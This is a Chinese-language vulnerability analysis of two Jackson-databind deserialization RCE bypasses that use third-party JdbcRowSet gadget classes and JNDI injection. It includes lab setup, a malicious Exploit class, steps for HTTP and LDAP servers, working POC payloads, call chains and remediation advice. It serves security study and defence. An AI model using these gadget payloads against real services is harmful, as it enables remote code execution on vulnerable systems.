CVE-2020-xxxx:Jackson-databind RCE两则
字数 1470 2025-08-20 18:17:53
Jackson-databind RCE漏洞分析与利用指南
漏洞概述
本文档详细分析了两则Jackson-databind反序列化远程代码执行(RCE)漏洞(CVE-2020-xxxx),涉及两个不同的第三方依赖类绕过Jackson-databind黑名单防护机制的情况。这两个漏洞都利用了JNDI注入技术,在特定条件下可实现远程代码执行。
第一则漏洞分析
影响范围
- jackson-databind before 2.9.10.4
- jackson-databind before 2.8.11.6
- jackson-databind before 2.7.9.7
利用条件
- 开启了
enableDefaultTyping()功能 - 使用了
com.nqadmin.rowset.JdbcRowSetImpl第三方依赖 - JDK版本较低(未修复JNDI注入漏洞的版本)
漏洞原理
该漏洞利用了com.nqadmin.rowset.JdbcRowSetImpl类,该类绕过了Jackson-databind维护的黑名单类。通过构造特定的JSON数据,触发JNDI注入,最终导致远程代码执行。
环境搭建
在pom.xml中添加以下依赖:
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<dependency>
<groupId>com.nqadmin.rowset</groupId>
<artifactId>jdbcrowsetimpl</artifactId>
<version>1.0.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
漏洞利用步骤
- 准备恶意Exploit类:
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
- 编译Exploit类并使用Python启动HTTP服务:
python -m SimpleHTTPServer 4444
-
启动LDAP服务(如marshalsec)
-
执行漏洞POC:
import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {
public static void main(String[] args) throws Exception {
String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":\"true\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
漏洞调用链分析
完整的利用调用链如下:
mapper.readValue
->com.nqadmin.rowset.JdbcRowSetImpl.setDataSourceName
->javax.sql.rowset.BaseRowSet.setDataSourceName
->com.nqadmin.rowset.JdbcRowSetImpl.setAutoCommit
->this.connect()
->(DataSource)ctx.lookup(this.getDataSourceName())
修复建议
- 及时将jackson-databind升级到安全版本
- 升级到较高版本的JDK(修复了JNDI注入问题的版本)
第二则漏洞分析
影响范围
- jackson-databind before 2.9.10.4
- jackson-databind before 2.8.11.6
- jackson-databind before 2.7.9.7
利用条件
- 开启了
enableDefaultTyping()功能 - 使用了
org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl第三方依赖 - JDK版本较低(未修复JNDI注入漏洞的版本)
漏洞原理
该漏洞利用了org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl类,该类同样绕过了Jackson-databind的黑名单防护机制。通过构造特定的JSON数据,触发JNDI注入,实现远程代码执行。
环境搭建
在pom.xml中添加以下依赖:
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<dependency>
<groupId>org.arrahtec</groupId>
<artifactId>profiler-core</artifactId>
<version>6.1.7</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
漏洞利用步骤
- 准备恶意Exploit类(同第一则漏洞)
- 编译Exploit类并使用Python启动HTTP服务
- 启动LDAP服务(如marshalsec)
- 执行漏洞POC:
import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {
public static void main(String[] args) throws Exception {
String payload = "[\"org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":\"true\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
漏洞调用链分析
完整的利用调用链如下:
mapper.readValue
->org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl.setDataSourceName
->javax.sql.rowset.BaseRowSet.setDataSourceName
->org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl.setAutoCommit
->this.connect()
->(DataSource)ctx.lookup(this.getDataSourceName())
修复建议
- 及时将jackson-databind升级到安全版本
- 升级到较高版本的JDK(修复了JNDI注入问题的版本)
总结
这两则Jackson-databind RCE漏洞都利用了第三方依赖类绕过黑名单防护机制,通过JNDI注入实现远程代码执行。漏洞的核心在于:
- 目标系统开启了
enableDefaultTyping()功能 - 使用了特定的第三方依赖
- JDK版本存在JNDI注入漏洞
防御措施应包括:
- 禁用
enableDefaultTyping()或使用更安全的替代方案 - 及时更新Jackson-databind到最新版本
- 升级JDK到安全版本
- 严格控制应用程序的依赖项,避免使用不必要的第三方库